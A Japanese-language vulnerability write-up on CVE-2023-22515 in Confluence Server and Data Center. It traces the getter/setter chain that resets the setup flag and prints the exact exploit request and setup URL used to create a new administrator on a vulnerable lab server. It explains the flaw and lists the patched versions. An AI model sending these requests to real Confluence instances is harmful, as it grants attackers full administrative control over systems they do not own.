
Confluence Server におけるアクセス制御の不備 - CVE-2023-22515
Atlassianは、管理者アクセスを通じて環境を危険にさらす可能性のある脆弱性について報告を受けました。2023年10月4日、AtlassianはCVE-2023-22515に関するセキュリティアドバイザリを公開しました。このCVEは10.0と評価されています。この脆弱性は、Confluence Server および Data Center エディション のバージョン8.0.0で導入され、<8.3.3、<8.4.3、<8.5.2 のバージョンに存在します。
攻撃者はこの脆弱性を悪用して、Confluenceに完全な管理者権限を持つ追加アカウントを作成できます。攻撃者はこの脆弱性を悪用するために事前情報を必要としません。この脆弱性は他の未知の攻撃ベクトルを可能にすると考えられており、できるだけ早くパッチを適用する必要があります。
この脆弱性を利用すると、攻撃者はConfluence設定のセットアップ段階に戻り、管理者アクセス権を持つ新しいユーザーを作成することができます。これは、ConfluenceがApache Strutsフレームワーク(XWorkパッケージに依存)を使用して構築されているために可能です。XWorkでは、Javaクラスの形でActionを定義できます。各ActionはURLを介して呼び出すことができ、対応するJavaクラスがリクエストを処理し、Actionが必要とする処理を行い、レスポンスを返します。
この問題は主に、URLを介して属性を呼び出すことができるクラスアクションが原因で発生します。
この悪用は ServerInfoAction アクションで行われ、クラスのゲッター/セッターを操作してセットアップ設定をリセットできます。
ServerInfoAction クラスのコードを分析すると、ConfluenceActionSupport クラスを継承していることがわかります。これにより、そのメソッドもすべて継承されます。そのようなメソッドの1つに、BootstrapStatusProviderオブジェクトを返すゲッターがあります。
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
public BootstrapStatusProvider getBootstrapStatusProvider() {
if (this.bootstrapStatusProvider == null)
this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance();
return this.bootstrapStatusProvider;
}
}
BootstrapStatusProvider クラスには、ApplicationConfiguration オブジェクトを取得するために使用できる別のゲッターメソッドがあるため、このクラスに注目します。
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
public ApplicationConfiguration getApplicationConfig() {
return this.delegate.getApplicationConfig();
}
}
このオブジェクトにはアプリケーションの設定が含まれており、初期セットアップが完了したかどうかをConfluenceに伝える属性も含まれています。この属性は、ApplicationConfig クラスのセッターを使用して変更できます。
public class ApplicationConfig implements ApplicationConfiguration {
public synchronized void setSetupComplete(boolean setupComplete) {
this.setupComplete = setupComplete;
}
}
setSetupComplete(false) を呼び出すことができれば、セットアップ設定プロセスをリセットできます。これは、以下のようにゲッター/セッターメソッドを使用して実行できます。
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
この URL は、上記で説明したすべてのメソッドを呼び出し、セットアップのリセットを担当するターゲットメソッドに到達します。
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)
以下に、脆弱性のあるバージョンのConfluenceを実行しているサーバーの例を示します。
上記で説明したメソッド呼び出しを使用して、セットアッププロセスを再起動してみましょう。
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false
setupcomplete パラメータを false に設定すると、success という戻り値を受け取ります。これは、パラメータの変更が成功したことを意味します。
セットアップをリセットするための setup URL にアクセスして、新しいアカウントを作成してみましょう。
http://atlassian.poc:8090/setup/setupadministrator-start.action
セットアッププロセスをリセットし、管理者アクセス権を持つ新しいユーザーを作成することができました。
この脆弱性は、バージョン 8.3.3、8.4.3、8.5.2 で修正されています。新しいバージョンのブランチも同様に安全です。
詳細については、Atlassianが公式ウェブサイトでこの脆弱性に関する詳細を公開しています(詳細はこちら - Atlassian)。